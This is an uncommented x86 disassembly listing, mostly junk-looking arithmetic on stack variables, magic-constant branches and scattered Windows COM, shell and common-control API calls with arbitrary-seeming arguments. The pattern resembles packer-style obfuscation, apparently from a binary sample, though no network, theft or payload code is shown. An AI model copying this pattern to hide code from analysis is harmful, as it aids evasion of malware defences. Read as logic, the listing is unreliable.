mov edx, dword [ebp - 0xc08]
mov eax, dword [ebp - 0x12c]
add eax, dword [edx]
mov ecx, dword [ebp - 0x13b0]
mov edx, dword [ebp - 0x1108]
sub edx, dword [ecx]
cmp eax, edx
jle 0x4dc59d
mov eax, dword [ebp - 0x13b0]
mov ecx, dword [eax]
mov dword [ebp - 0x2054], ecx
cmp dword [ebp - 0x2054], 0x2266c63f
je 0x4dc520
cmp dword [ebp - 0x2054], 0x68a8103a
je 0x4dc4fb
jmp 0x4dc538
push 0x96
lea edx, [ebp - 0x10d8]
push edx
push fcn.004721c0
mov eax, dword [ebp - 0x9b4]
push eax
call sub.COMCTL32.dll_SetWindowSubclass
mov dword [ebp - 0x504], eax
jmp 0x4dc538
mov ecx, dword [ebp - 0x4c0]
mov edx, dword [ebp - 0xc08]
mov eax, dword [ecx]
mov ecx, dword [edx]
shl eax, cl
mov dword [ebp - 0x434], eax
movzx ecx, word [ebp - 0xbe8]
movzx edx, word [ebp - 0x10d8]
xor ecx, edx
mov eax, dword [ebp - 0x1cb8]
mov word [eax], cx
lea ecx, [ebp - 0x1e70]
push ecx
lea edx, [ebp - 0xe3c]
push edx
call dword [sym.imp.ole32.dll_ProgIDFromCLSID]
mov dword [ebp - 0x7cc], eax
mov eax, dword [ebp - 0xf08]
movzx ecx, word [eax]
push ecx
movzx edx, byte [ebp - 0x85d]
push edx
mov eax, dword [ebp - 0x1448]
movzx ecx, word [eax]
push ecx
mov dl, byte [ebp - 0xe29]
mov cl, byte [ebp - 0x4a9]
call fcn.00478870
jmp 0x4dc639
mov edx, dword [ebp - 0xc98]
movzx eax, word [edx]
mov ecx, dword [ebp - 0x1e70]
movzx edx, word [ecx]
and eax, edx
mov ecx, dword [ebp - 0x1cb8]
movzx edx, word [ecx]
movzx ecx, word [ebp - 0x10d8]
or edx, ecx
cmp eax, edx
jle 0x4dc639
mov edx, dword [ebp - 0x1b0]
movzx eax, byte [edx]
mov ecx, dword [ebp - 0x11a8]
movzx ecx, byte [ecx]
sar eax, cl
mov byte [ebp - 0x6ad], al
mov edx, dword [ebp - 0xe24]
mov eax, dword [ebp - 0x1720]
add eax, dword [edx]
mov ecx, dword [ebp - 0xa7c]
mov dword [ecx], eax
lea edx, [ebp - 0x1190]
push edx
lea eax, [ebp - 0x758]
push eax
call dword [sym.imp.ole32.dll_CoGetPSClsid]
mov dword [ebp - 0x13cc], eax
mov ecx, dword [ebp - 0x610]
mov edx, dword [ecx]
add edx, dword [ebp - 0x7a4]
mov eax, dword [ebp - 0x1268]
mov dword [eax], edx
mov ecx, dword [ebp - 0x7a4]
and ecx, dword [ebp - 0x12c]
mov dword [ebp - 0x1108], ecx
movsx edx, byte [ebp - 0x85d]
add edx, 0x47
movsx eax, byte [ebp - 0x1c01]
cmp edx, eax
jg 0x4dc6c4
lea ecx, [ebp - 0x1be0]
push ecx
lea edx, [ebp - 0x9b4]
push edx
lea eax, [ebp - 0x234]
push eax
lea ecx, [ebp - 0xd78]
push ecx
lea edx, [ebp - 0x1cd8]
push edx
lea eax, [ebp - 0x23c]
push eax
lea ecx, [ebp - 0xb24]
push ecx
lea edx, [ebp - 0xf00]
push edx
call dword [sym.imp.ole32.dll_CoQueryProxyBlanket]
mov dword [ebp - 0x168], eax
mov eax, dword [ebp - 0x558]
movsx ecx, word [eax]
movsx edx, word [ebp - 0x8d4]
sub ecx, edx
mov word [ebp - 0x1c20], cx
mov edx, dword [ebp - 0x214]
mov eax, dword [ebp - 0xf08]
mov cx, word [eax]
call fcn.004721c0
jmp 0x4eeec8
movzx ecx, word [ebp - 0x7c4]
mov dword [ebp - 0x2058], ecx
cmp dword [ebp - 0x2058], 0x74
je 0x4dc6df
jmp 0x4dc77c
movzx edx, word [ebp - 0x10d8]
mov eax, dword [ebp - 0x1cb8]
movzx ecx, word [eax]
or edx, ecx
movzx eax, word [ebp - 0x7c4]
mov ecx, dword [ebp - 0x1104]
movzx ecx, word [ecx]
sar eax, cl
cmp edx, eax
jle 0x4dc777
movzx edx, word [ebp - 0x7c4]
mov eax, dword [ebp - 0xc98]
movzx ecx, word [eax]
xor edx, ecx
mov eax, dword [ebp - 0x133c]
mov word [eax], dx
mov ecx, dword [ebp - 0x1e70]
movzx edx, word [ecx]
mov dword [ebp - 0x205c], edx
cmp dword [ebp - 0x205c], 0x2d2
je 0x4dc763
cmp dword [ebp - 0x205c], 0x400
je 0x4dc74b
jmp 0x4dc777
mov eax, dword [ebp - 0x18]
mov ecx, dword [ebp - 0x1d08]
shl eax, cl
mov dword [ebp - 0x1274], eax
call fcn.0046d040
jmp 0x4dc777
mov ecx, dword [ebp - 0x1274]
and ecx, dword [ebp - 0x214]
mov edx, dword [ebp - 0x1290]
mov dword [edx], ecx
jmp 0x4eee7c
movzx eax, byte [ebp - 0xe29]
mov ecx, dword [ebp - 0x1b0]
movzx edx, byte [ecx]
sub eax, edx
mov byte [ebp - 0x12e], al
movzx eax, word [ebp - 0xbe8]
movzx ecx, word [ebp - 0x7c4]
sub eax, ecx
mov word [ebp - 0x10d8], ax
mov edx, dword [ebp - 0x1108]
and edx, dword [ebp - 0x7a4]
mov eax, dword [ebp - 0xc08]
mov dword [eax], edx
mov ecx, dword [ebp - 0x1720]
sub ecx, dword [ebp - 0x18]
mov dword [ebp - 0x214], ecx
mov edx, dword [ebp - 0x4c0]
mov eax, dword [edx]
sub eax, dword [ebp - 0x4c4]
mov ecx, dword [ebp - 0x134c]
mov dword [ecx], eax
mov edx, dword [ebp - 0x1400]
mov eax, dword [edx]
mov ecx, dword [ebp - 0x2c8]
add eax, dword [ecx]
mov edx, dword [ebp - 0x134c]
mov dword [edx], eax
movzx eax, byte [ebp - 0x4a9]
movzx ecx, byte [ebp - 0xe29]
add eax, ecx
mov edx, dword [ebp - 0x11a8]
mov byte [edx], al
movzx eax, word [ebp - 0xbe8]
mov ecx, dword [ebp - 0x133c]
movzx edx, word [ecx]
add eax, edx
mov ecx, dword [ebp - 0x1104]
mov word [ecx], ax
mov edx, dword [ebp - 0x870]
mov eax, dword [edx]
xor eax, dword [ebp - 0x1720]
mov ecx, dword [ebp - 0x9b8]
mov dword [ecx], eax
mov edx, dword [ebp - 0xc08]
mov eax, dword [ebp - 0x610]
mov edx, dword [edx]
mov ecx, dword [eax]
sar edx, cl
mov dword [ebp - 0x1108], edx
movsx eax, word [ebp - 0x8d4]
mov ecx, dword [ebp - 0x1448]
movsx ecx, word [ecx]
shl eax, cl
mov edx, dword [ebp - 0x558]
mov word [edx], ax
mov eax, dword [ebp - 0x73c]
add eax, 0xe9
mov dword [ebp - 0x73c], eax
movzx ecx, word [ebp - 0x10d8]
mov edx, dword [ebp - 0xc98]
movzx eax, word [edx]
or ecx, eax
mov edx, dword [ebp - 0x1cb8]
mov word [edx], cx
movzx eax, word [ebp - 0xbe8]
movzx ecx, word [ebp - 0x10d8]
and eax, ecx
mov word [ebp - 0x7c4], ax
movzx edx, byte [ebp - 0x4a9]
mov eax, dword [ebp - 0x11a8]
movzx ecx, byte [eax]
add edx, ecx
mov eax, dword [ebp - 0x7d8]
mov byte [eax], dl
mov ecx, dword [ebp - 0x1290]
mov edx, dword [ebp - 0x1720]
add edx, dword [ecx]
mov eax, dword [ebp - 0xe24]
mov dword [eax], edx
mov ecx, dword [ebp - 0x434]
sub ecx, dword [ebp - 0x4c4]
mov edx, dword [ebp - 0xc08]
mov dword [edx], ecx
mov eax, dword [ebp - 0x2c8]
mov ecx, dword [ebp - 0x4c4]
add ecx, dword [eax]
mov dword [ebp - 0x434], ecx
cmp dword [ebp - 0x73c], 0x6e20
jne 0x4dc7ab
mov edx, dword [ebp - 0x9b8]
mov eax, dword [edx]
mov dword [ebp - 0xe4c], eax
mov ecx, dword [ebp - 0x1268]
mov edx, dword [ebp - 0x12c]
and edx, dword [ecx]
mov eax, dword [ebp - 0x7a4]
sub eax, dword [ebp - 0x1108]
cmp edx, eax
jg 0x4eedc9
cmp dword [ebp - 0x11d0], 0xece8
jae 0x4dcd17
mov ecx, dword [ebp - 0x1400]
mov edx, dword [ebp - 0x4c0]
mov eax, dword [ecx]
mov ecx, dword [edx]
sar eax, cl
mov dword [ebp - 0x7a4], eax
mov ecx, dword [ebp - 0xe24]
mov edx, dword [ebp - 0xcb0]
mov eax, dword [ecx]
mov ecx, dword [edx]
shl eax, cl
mov ecx, dword [ebp - 0x870]
mov dword [ecx], eax
mov edx, dword [ebp - 0x4c4]
and edx, dword [ebp - 0x7a4]
mov dword [ebp - 0x434], edx
mov eax, dword [ebp - 0x134c]
mov ecx, dword [ebp - 0x1268]
mov edx, dword [eax]
sub edx, dword [ecx]
mov eax, dword [ebp - 0xc08]
mov dword [eax], edx
mov ecx, dword [ebp - 0x133c]
movzx edx, word [ecx]
mov eax, dword [ebp - 0xf08]
movzx ecx, word [eax]
add edx, ecx
mov word [ebp - 0x7c4], dx
movzx edx, byte [ebp - 0x1b49]
mov eax, dword [ebp - 0x1b0]
movzx ecx, byte [eax]
sub edx, ecx
mov eax, dword [ebp - 0x11a8]
mov byte [eax], dl
movzx ecx, byte [ebp - 0xe29]
movzx edx, byte [ebp - 0x6ad]
add ecx, edx
mov eax, dword [ebp - 0x11a8]
mov byte [eax], cl
movsx ecx, word [ebp - 0x8d4]
movsx edx, word [ebp - 0x1c20]
add ecx, edx
mov eax, dword [ebp - 0x1448]
mov word [eax], cx
mov ecx, dword [ebp - 0xe24]
mov edx, dword [ebp - 0x1290]
mov eax, dword [ecx]
and eax, dword [edx]
mov dword [ebp - 0xe4c], eax
mov ecx, dword [ebp - 0x134c]
mov edx, dword [ebp - 0x4c4]
sub edx, dword [ecx]
mov eax, dword [ebp - 0x610]
mov dword [eax], edx
mov ecx, dword [ebp - 0x11a8]
movzx edx, byte [ecx]
mov eax, dword [ebp - 0x1b0]
movzx ecx, byte [eax]
add edx, ecx
mov byte [ebp - 0x12e], dl
mov edx, dword [ebp - 0x1e70]
movzx eax, word [edx]
movzx ecx, word [ebp - 0x7c4]
sub eax, ecx
mov edx, dword [ebp - 0x133c]
mov word [edx], ax
mov eax, dword [ebp - 0x9b8]
mov ecx, dword [ebp - 0xe24]
mov edx, dword [eax]
mov ecx, dword [ecx]
shl edx, cl
mov dword [ebp - 0xe4c], edx
mov eax, dword [ebp - 0x2c8]
mov ecx, dword [ebp - 0x7a4]
xor ecx, dword [eax]
mov edx, dword [ebp - 0x610]
mov dword [edx], ecx
mov eax, dword [ebp - 0x134c]
mov ecx, dword [ebp - 0x1400]
mov edx, dword [eax]
or edx, dword [ecx]
mov eax, dword [ebp - 0x13b0]
mov dword [eax], edx
mov edx, dword [ebp - 0xe4c]
mov ecx, dword [ebp - 0x1720]
shr edx, cl
mov eax, dword [ebp - 0x870]
mov dword [eax], edx
mov ecx, dword [ebp - 0x1b0]
movzx edx, byte [ecx]
movzx eax, byte [ebp - 0x1b49]
and edx, eax
mov byte [ebp - 0x6ad], dl
mov ecx, dword [ebp - 0xf08]
movzx edx, word [ecx]
movzx eax, word [ebp - 0x10d8]
add edx, eax
mov word [ebp - 0xbe8], dx
mov ecx, dword [ebp - 0x13b0]
mov edx, dword [ecx]
mov eax, dword [ebp - 0x4c0]
add edx, dword [eax]
mov dword [ebp - 0x4c4], edx
mov ecx, dword [ebp - 0x11d0]
add ecx, 0xb
mov dword [ebp - 0x11d0], ecx
mov edx, dword [ebp - 0x12c]
add edx, dword [ebp - 0x7a4]
mov dword [ebp - 0x434], edx
mov eax, dword [ebp - 0xe24]
mov ecx, dword [ebp - 0x1d08]
sub ecx, dword [eax]
mov edx, dword [ebp - 0xcb0]
mov dword [edx], ecx
mov eax, dword [ebp - 0x1108]
sub eax, dword [ebp - 0x4c4]
mov ecx, dword [ebp - 0x1400]
mov dword [ecx], eax
mov edx, dword [ebp - 0x4c0]
mov eax, dword [edx]
sub eax, dword [ebp - 0x434]
mov dword [ebp - 0x7a4], eax
mov ecx, dword [ebp - 0xaf0]
movsx edx, word [ecx]
movsx eax, word [ebp - 0x1c20]
and edx, eax
mov word [ebp - 0x8d4], dx
movsx ecx, word [ebp - 0x1c20]
movsx edx, word [ebp - 0x8d4]
sub ecx, edx
mov eax, dword [ebp - 0xaf0]
mov word [eax], cx
movzx ecx, word [ebp - 0x10d8]
mov edx, dword [ebp - 0x1cb8]
movzx eax, word [edx]
xor ecx, eax
mov word [ebp - 0x7c4], cx
mov ecx, dword [ebp - 0x1b0]
movzx edx, byte [ecx]
movzx ecx, byte [ebp - 0x12e]
sar edx, cl
mov eax, dword [ebp - 0x1b0]
mov byte [eax], dl
mov ecx, dword [ebp - 0x870]
mov edx, dword [ecx]
or edx, dword [ebp - 0x1d08]
mov dword [ebp - 0xe4c], edx
mov eax, dword [ebp - 0x1268]
mov edx, dword [eax]
mov ecx, dword [ebp - 0x12c]
shl edx, cl
mov eax, dword [ebp - 0x610]
mov dword [eax], edx
movzx ecx, word [ebp - 0x7c4]
mov edx, dword [ebp - 0x1104]
movzx eax, word [edx]
sub ecx, eax
mov word [ebp - 0xbe8], cx
mov ecx, dword [ebp - 0x7d8]
movzx edx, byte [ecx]
mov eax, dword [ebp - 0x11a8]
movzx ecx, byte [eax]
and edx, ecx
mov eax, dword [ebp - 0x1b0]
mov byte [eax], dl
mov ecx, dword [ebp - 0x870]
mov edx, dword [ebp - 0xa7c]
mov eax, dword [ecx]
sub eax, dword [edx]
mov ecx, dword [ebp - 0xe24]
mov dword [ecx], eax
mov edx, dword [ebp - 0xc08]
mov eax, dword [ebp - 0x1108]
sub eax, dword [edx]
mov dword [ebp - 0x4c4], eax
mov ecx, dword [ebp - 0x4c0]
mov edx, dword [ecx]
add edx, dword [ebp - 0x1108]
mov eax, dword [ebp - 0x134c]
mov dword [eax], edx
mov ecx, dword [ebp - 0x1290]
mov edx, dword [ecx]
add edx, dword [ebp - 0x18]
mov eax, dword [ebp - 0xa7c]
mov dword [eax], edx
movzx ecx, word [ebp - 0x7c4]
mov edx, dword [ebp - 0xc98]
movzx eax, word [edx]
add ecx, eax
mov edx, dword [ebp - 0x1cb8]
mov word [edx], cx
mov eax, dword [ebp - 0x11a8]
movzx ecx, byte [eax]
movzx edx, byte [ebp - 0xe29]
sub ecx, edx
mov byte [ebp - 0x4a9], cl
mov eax, dword [ebp - 0x13b0]
mov ecx, dword [eax]
mov edx, dword [ebp - 0x2c8]
add ecx, dword [edx]
mov eax, dword [ebp - 0x610]
mov dword [eax], ecx
mov ecx, dword [ebp - 0x434]
and ecx, dword [ebp - 0x12c]
mov edx, dword [ebp - 0x610]
mov dword [edx], ecx
movsx eax, byte [ebp - 0x85d]
or eax, 0x10
mov byte [ebp - 0x1c01], al
jmp 0x4dc953
movsx ecx, word [ebp - 0x8d4]
mov edx, dword [ebp - 0x1448]
movsx eax, word [edx]
xor ecx, eax
mov word [ebp - 0x1c20], cx
movzx edx, word [ebp - 0x10d8]
mov eax, dword [ebp - 0xc98]
movzx ecx, word [eax]
shl edx, cl
mov word [ebp - 0xbe8], dx
mov ecx, dword [ebp - 0x11a8]
movzx edx, byte [ecx]
mov eax, dword [ebp - 0x1b0]
movzx ecx, byte [eax]
sar edx, cl
mov ecx, dword [ebp - 0x7d8]
mov byte [ecx], dl
mov edx, dword [ebp - 0x12a4]
add edx, 0xf5
mov dword [ebp - 0x12a4], edx
mov eax, dword [ebp - 0x214]
sub eax, dword [ebp - 0x18]
mov dword [ebp - 0x1274], eax
mov ecx, dword [ebp - 0xcb0]
mov edx, dword [ecx]
sub edx, dword [ebp - 0xe4c]
mov dword [ebp - 0x18], edx
mov eax, dword [ebp - 0x4c4]
and eax, dword [ebp - 0x434]
mov dword [ebp - 0x1108], eax
mov ecx, dword [ebp - 0x610]
mov edx, dword [ecx]
mov eax, dword [ebp - 0x2c8]
add edx, dword [eax]
mov dword [ebp - 0x12c], edx
mov ecx, dword [ebp - 0x610]
mov edx, dword [ebp - 0x12c]
add edx, dword [ecx]
mov eax, dword [ebp - 0xc08]
mov dword [eax], edx
mov ecx, dword [ebp - 0x1b0]
movzx edx, byte [ecx]
movzx eax, byte [ebp - 0x6ad]
sub edx, eax
mov byte [ebp - 0x4a9], dl
movzx ecx, word [ebp - 0x7c4]
mov edx, dword [ebp - 0xc98]
movzx eax, word [edx]
sub ecx, eax
mov word [ebp - 0x10d8], cx
mov ecx, dword [ebp - 0xa7c]
mov edx, dword [ebp - 0x1d08]
add edx, dword [ecx]
mov eax, dword [ebp - 0xcb0]
mov dword [eax], edx
mov ecx, dword [ebp - 0x434]
add ecx, dword [ebp - 0x12c]
mov edx, dword [ebp - 0x1268]
mov dword [edx], ecx
mov eax, dword [ebp - 0x4c0]
mov ecx, dword [ebp - 0x12c]
add ecx, dword [eax]
mov edx, dword [ebp - 0x2c8]
mov dword [edx], ecx
mov eax, dword [ebp - 0x1274]
sub eax, dword [ebp - 0xe4c]
mov dword [ebp - 0x1d08], eax
mov ecx, dword [ebp - 0x7d8]
movzx edx, byte [ecx]
movzx eax, byte [ebp - 0xe29]
or edx, eax
mov ecx, dword [ebp - 0x11a8]
mov byte [ecx], dl
movzx edx, word [ebp - 0xbe8]
mov eax, dword [ebp - 0xc98]
movzx ecx, word [eax]
xor edx, ecx
mov eax, dword [ebp - 0x133c]
mov word [eax], dx
mov ecx, dword [ebp - 0x1448]
movsx edx, word [ecx]
mov eax, dword [ebp - 0xaf0]
movsx ecx, word [eax]
shl edx, cl
mov ecx, dword [ebp - 0x558]
mov word [ecx], dx
mov edx, dword [ebp - 0x1448]
movsx eax, word [edx]
movsx ecx, word [ebp - 0x8d4]
sar eax, cl
mov word [ebp - 0x1c20], ax
mov ecx, dword [ebp - 0xa7c]
mov edx, dword [ebp - 0x1290]
mov eax, dword [ecx]
and eax, dword [edx]
mov ecx, dword [ebp - 0x870]
mov dword [ecx], eax
mov edx, dword [ebp - 0x2c8]
mov eax, dword [edx]
mov ecx, dword [ebp - 0x134c]
add eax, dword [ecx]
mov edx, dword [ebp - 0x1268]
mov dword [edx], eax
movzx eax, word [ebp - 0x7c4]
movzx ecx, word [ebp - 0xbe8]
add eax, ecx
mov edx, dword [ebp - 0xf08]
mov word [edx], ax
mov eax, dword [ebp - 0x1b0]
movzx ecx, byte [eax]
mov edx, dword [ebp - 0x11a8]
movzx eax, byte [edx]
and ecx, eax
mov byte [ebp - 0x4a9], cl
cmp dword [ebp - 0x12a4], 0x4396
jb 0x4dcd17
mov ecx, dword [ebp - 0x134c]
mov edx, dword [ebp - 0x434]
sub edx, dword [ecx]
mov dword [ebp - 0x12c], edx
mov eax, dword [ebp - 0x1400]
mov ecx, dword [eax]
mov dword [ebp - 0x2060], ecx
cmp dword [ebp - 0x2060], 0x2539d79
je 0x4dcf66
jmp 0x4dcf84
mov edx, dword [ebp - 0x214]
add edx, dword [ebp - 0xe4c]
mov eax, dword [ebp - 0x9b8]
mov dword [eax], edx
call fcn.0046d040
jmp 0x4dd031
mov ecx, dword [ebp - 0x610]
mov edx, dword [ebp - 0x2c8]
mov eax, dword [ecx]
sub eax, dword [edx]
mov ecx, dword [ebp - 0xc08]
mov dword [ecx], eax
mov edx, dword [ebp - 0x4c4]
mov dword [ebp - 0x2064], edx
cmp dword [ebp - 0x2064], 0x557fad54
je 0x4dcfb6
jmp 0x4dd031
push 0x13
mov eax, dword [ebp - 0x274]
push eax
mov ecx, dword [ebp - 0x1df8]
push ecx
call dword [sym.imp.COMCTL32.dll_DrawInsert]
mov edx, dword [ebp - 0x1edc]
movsx eax, word [edx]
mov dword [ebp - 0x2068], eax
cmp dword [ebp - 0x2068], 0x9b3
je 0x4dcfe9
jmp 0x4dd016
mov ecx, dword [ebp - 0x12c]
sub ecx, dword [ebp - 0x1108]
mov edx, dword [ebp - 0x1400]
mov dword [edx], ecx
mov eax, dword [ebp - 0x1b0]
movzx ecx, byte [eax]
push ecx
movzx edx, byte [ebp - 0x1c01]
push edx
call fcn.004d1cd0
jmp 0x4dd031
mov eax, dword [ebp - 0x1104]
movzx ecx, word [eax]
mov edx, dword [ebp - 0x133c]
movzx eax, word [edx]
add ecx, eax
mov word [ebp - 0xbe8], cx
movsx edx, word [ebp - 0x8d4]
mov eax, dword [ebp - 0x1448]
movsx ecx, word [eax]
shl edx, cl
movsx ecx, word [ebp - 0x1c20]
mov eax, dword [ebp - 0xaf0]
movsx eax, word [eax]
xor ecx, eax
cmp edx, ecx
je 0x4dd110
movzx edx, byte [ebp - 0x4a9]
mov eax, dword [ebp - 0x7d8]
movzx ecx, byte [eax]
sar edx, cl
mov ecx, dword [ebp - 0x1b0]
mov byte [ecx], dl
movsx edx, word [ebp - 0x8d4]
mov dword [ebp - 0x206c], edx
cmp dword [ebp - 0x206c], 0x4fc0
je 0x4dd09e
cmp dword [ebp - 0x206c], 0x7c26
je 0x4dd0fa
jmp 0x4dd110
mov eax, dword [ebp - 0xeb4]
push eax
mov ecx, dword [ebp - 0x1bbc]
push ecx
call dword [sym.imp.SHELL32.dll_DuplicateIcon]
mov dword [ebp - 0x5f8], eax
mov edx, dword [ebp - 0xe24]
mov eax, dword [edx]
or eax, dword [ebp - 0x1720]
mov ecx, dword [ebp - 0x870]
mov dword [ecx], eax
push 0x72
lea edx, [ebp - 0x1070]
push edx
mov eax, dword [ebp - 0x644]
push eax
mov ecx, dword [ebp - 0x218]
push ecx
mov edx, dword [ebp - 0x1398]
push edx
call dword [sym.imp.SHELL32.dll_SHGetNewLinkInfoW]
mov dword [ebp - 0xec], eax
jmp 0x4dd110
mov eax, dword [ebp - 0x4c0]
mov ecx, dword [ebp - 0x1268]
mov edx, dword [eax]
and edx, dword [ecx]
mov dword [ebp - 0x434], edx
mov eax, dword [ebp - 0x4c0]
mov ecx, dword [eax]
mov dword [ebp - 0x1f4c], ecx
mov edx, dword [ebp - 0x2c8]
mov eax, dword [ebp - 0x434]
sub eax, dword [edx]
mov ecx, dword [ebp - 0x4c0]
mov edx, dword [ecx]
add edx, dword [ebp - 0x12c]
cmp eax, edx
jne 0x4dd1ef
mov al, byte [ebp - 0x85d]
mov byte [ebp - 0x2070], al
cmp byte [ebp - 0x2070], 0
je 0x4dd165
cmp byte [ebp - 0x2070], 0x11
je 0x4dd1b0
jmp 0x4dd1e5
mov ecx, dword [ebp - 0x2c8]
mov edx, dword [ebp - 0x1268]
mov eax, dword [ecx]
sub eax, dword [edx]
mov dword [ebp - 0x12c], eax
lea ecx, [ebp - 0x7a4]
mov dword [ebp - 0x944], ecx
movsx edx, word [ebp - 0x8d4]
mov eax, dword [ebp - 0x1448]
movsx ecx, word [eax]
sub edx, ecx
mov eax, dword [ebp - 0x558]
mov word [eax], dx
lea ecx, [ebp - 0x1c01]
mov dword [ebp - 0x10ac], ecx
jmp 0x4dd1e5
mov edx, dword [ebp - 0x7d8]
movzx eax, byte [edx]
mov ecx, dword [ebp - 0x11a8]
movzx edx, byte [ecx]
and eax, edx
mov ecx, dword [ebp - 0x1b0]
mov byte [ecx], al
movzx edx, word [ebp - 0x10d8]
mov eax, dword [ebp - 0xf08]
movzx ecx, word [eax]
sub edx, ecx
mov word [ebp - 0xbe8], dx
mov dword [ebp - 0x1d0c], 0x1091c
mov edx, dword [ebp - 0x1108]
mov dword [ebp - 0x2074], edx
cmp dword [ebp - 0x2074], 0
je 0x4dd219
cmp dword [ebp - 0x2074], 0x556a7290
je 0x4dd29c
jmp 0x4dd354
mov eax, dword [ebp - 0xe24]
mov ecx, dword [eax]
add ecx, dword [ebp - 0x1d08]
mov dword [ebp - 0x18], ecx
mov edx, dword [ebp - 0x1720]
mov dword [ebp - 0xce0], edx
mov eax, dword [ebp - 0x7d8]
movzx ecx, byte [eax]
mov edx, dword [ebp - 0x1b0]
movzx eax, byte [edx]
add ecx, eax
mov byte [ebp - 0x1b15], cl
mov cx, word [ebp - 0xbe8]
mov word [ebp - 0x13b4], cx
mov edx, dword [ebp - 0x610]
mov eax, dword [edx]
mov ecx, dword [ebp - 0x944]
add eax, dword [ecx]
mov dword [ebp - 0x4c4], eax
mov edx, dword [ebp - 0xcb0]
mov eax, dword [ebp - 0x1290]
mov edx, dword [edx]
mov ecx, dword [eax]
shr edx, cl
mov eax, dword [ebp - 0x9b8]
mov dword [eax], edx
lea ecx, [ebp - 0x4c4]
mov dword [ebp - 0x6c], ecx
jmp 0x4dd354
lea edx, [ebp - 0xb8c]
push edx
call dword [sym.imp.COMDLG32.dll_ChooseFontW]
mov dword [ebp - 0x504], eax
movzx eax, word [ebp - 0x10d8]
mov dword [ebp - 0x2078], eax
cmp dword [ebp - 0x2078], 0xa3c
je 0x4dd322
cmp dword [ebp - 0x2078], 0xfdf
je 0x4dd2d6
jmp 0x4dd354
mov ecx, dword [ebp - 0x13b0]
mov edx, dword [ebp - 0x1400]
mov eax, dword [ecx]
xor eax, dword [edx]
mov ecx, dword [ebp - 0x944]
mov dword [ecx], eax
mov edx, dword [ebp - 0xc98]
movzx eax, word [edx]
mov ecx, dword [ebp - 0x1104]
movzx ecx, word [ecx]
shl eax, cl
mov word [ebp - 0x10d8], ax
mov edx, dword [ebp - 0x434]
push edx
movzx eax, byte [ebp - 0x12e]
push eax
call fcn.004ef7c0
add esp, 8
jmp 0x4dd354
movzx ecx, byte [ebp - 0x12e]
mov edx, dword [ebp - 0x11a8]
movzx eax, byte [edx]
or ecx, eax
mov edx, dword [ebp - 0x7d8]
mov byte [edx], cl
call dword [sym.imp.ole32.dll_CoUninitialize]
mov eax, dword [ebp - 0x1720]
and eax, dword [ebp - 0x1274]
mov dword [ebp - 0xce0], eax
mov ecx, dword [ebp - 0x10ac]
mov dl, byte [ecx]
mov byte [ebp - 0x207c], dl
cmp byte [ebp - 0x207c], 4
je 0x4dd370
jmp 0x4dd441
mov eax, dword [ebp - 0x1290]
mov ecx, dword [ebp - 0x1d08]
add ecx, dword [eax]
mov edx, dword [ebp - 0xcb0]
mov eax, dword [edx]
sub eax, dword [ebp - 0xce0]
cmp ecx, eax
jb 0x4dd41f
mov cl, byte [ebp - 0x1b15]
mov byte [ebp - 0x2080], cl
cmp byte [ebp - 0x2080], 0x64
je 0x4dd405
cmp byte [ebp - 0x2080], 0xf4
je 0x4dd3b4
jmp 0x4dd41d
mov edx, dword [ebp - 0x12c]
sub edx, dword [ebp - 0x1108]
mov eax, dword [ebp - 0x1268]
mov dword [eax], edx
lea ecx, [ebp - 0x234]
push ecx
lea edx, [ebp - 0x890]
push edx
push 0xf8
mov eax, dword [ebp - 0x1ee0]
push eax
call dword [sym.imp.SHELL32.dll_SHChangeNotification_Lock]
mov dword [ebp - 0x3b0], eax
movzx ecx, byte [ebp - 0x6ad]
push ecx
movzx edx, byte [ebp - 0x1c01]
push edx
call fcn.004d1cd0
jmp 0x4dd41d
movsx eax, byte [ebp - 0x85d]
mov ecx, dword [ebp - 0x10ac]
movsx edx, byte [ecx]
and eax, edx
mov byte [ebp - 0x1c01], al
jmp 0x4dd43c
mov eax, dword [ebp - 0xaf0]
movsx ecx, word [eax]
mov edx, dword [ebp - 0x1edc]
movsx eax, word [edx]
add ecx, eax
mov edx, dword [ebp - 0x1448]
mov word [edx], cx
jmp 0x4dd521
mov eax, dword [ebp - 0x1b0]
movzx ecx, byte [eax]
movzx edx, byte [ebp - 0x4a9]
sub ecx, edx
mov eax, dword [ebp - 0x11a8]
mov byte [eax], cl
mov dword [ebp - 0x4cc], 0xbcd9
mov cx, word [ebp - 0x10d8]
mov word [ebp - 0xa88], cx
mov dword [ebp - 0x714], 0x8542
mov edx, dword [ebp - 0x10ac]
mov al, byte [edx]
mov byte [ebp - 0x2084], al
cmp byte [ebp - 0x2084], 0x10
je 0x4dd496
jmp 0x4dd50b
mov ecx, dword [ebp - 0xcb0]
mov edx, dword [ecx]
sub edx, dword [ebp - 0xe4c]
mov eax, dword [ebp - 0x1290]
mov dword [eax], edx
mov ecx, dword [ebp - 0x1108]
mov dword [ebp - 0x48], ecx
mov edx, dword [ebp - 0x1448]
movsx eax, word [edx]
mov dword [ebp - 0x2088], eax
cmp dword [ebp - 0x2088], 0x3f30
je 0x4dd4d2
jmp 0x4dd4f3
push 0x5f
call dword [sym.imp.ole32.dll_CoRevokeClassObject]
mov dword [ebp - 0x1d4], eax
mov ecx, dword [ebp - 0x7a4]
or ecx, dword [ebp - 0x48]
mov edx, dword [ebp - 0x944]
mov dword [edx], ecx
jmp 0x4dd509
mov eax, dword [ebp - 0xe4c]
mov ecx, dword [ebp - 0x214]
shl eax, cl
mov ecx, dword [ebp - 0xe24]
mov dword [ecx], eax
jmp 0x4dd521
mov edx, dword [ebp - 0x4c0]
mov eax, dword [edx]
mov ecx, dword [ebp - 0x7a4]
sar eax, cl
mov dword [ebp - 0x1108], eax
mov ecx, dword [ebp - 0x1b0]
movzx edx, byte [ecx]
movzx eax, byte [ebp - 0x1b15]
xor edx, eax
mov byte [ebp - 0x1b49], dl
mov ecx, dword [ebp - 0x1cb8]
movzx edx, word [ecx]
movzx eax, word [ebp - 0xbe8]
and edx, eax
mov word [ebp - 0x10d8], dx
mov ecx, dword [ebp - 0x610]
mov edx, dword [ebp - 0x7a4]
add edx, dword [ecx]
mov dword [ebp - 0x434], edx
mov eax, dword [ebp - 0xe24]
mov ecx, dword [ebp - 0xcb0]
mov edx, dword [eax]
sub edx, dword [ecx]
mov dword [ebp - 0xe4c], edx
mov eax, dword [ebp - 0x610]
mov ecx, dword [ebp - 0x1268]
mov edx, dword [eax]
sub edx, dword [ecx]
mov eax, dword [ebp - 0x134c]
mov dword [eax], edx
mov ecx, dword [ebp - 0x4c0]
mov edx, dword [ebp - 0x7a4]
add edx, dword [ecx]
mov eax, dword [ebp - 0x1268]
mov dword [eax], edx
mov ecx, dword [ebp - 0x133c]
movzx edx, word [ecx]
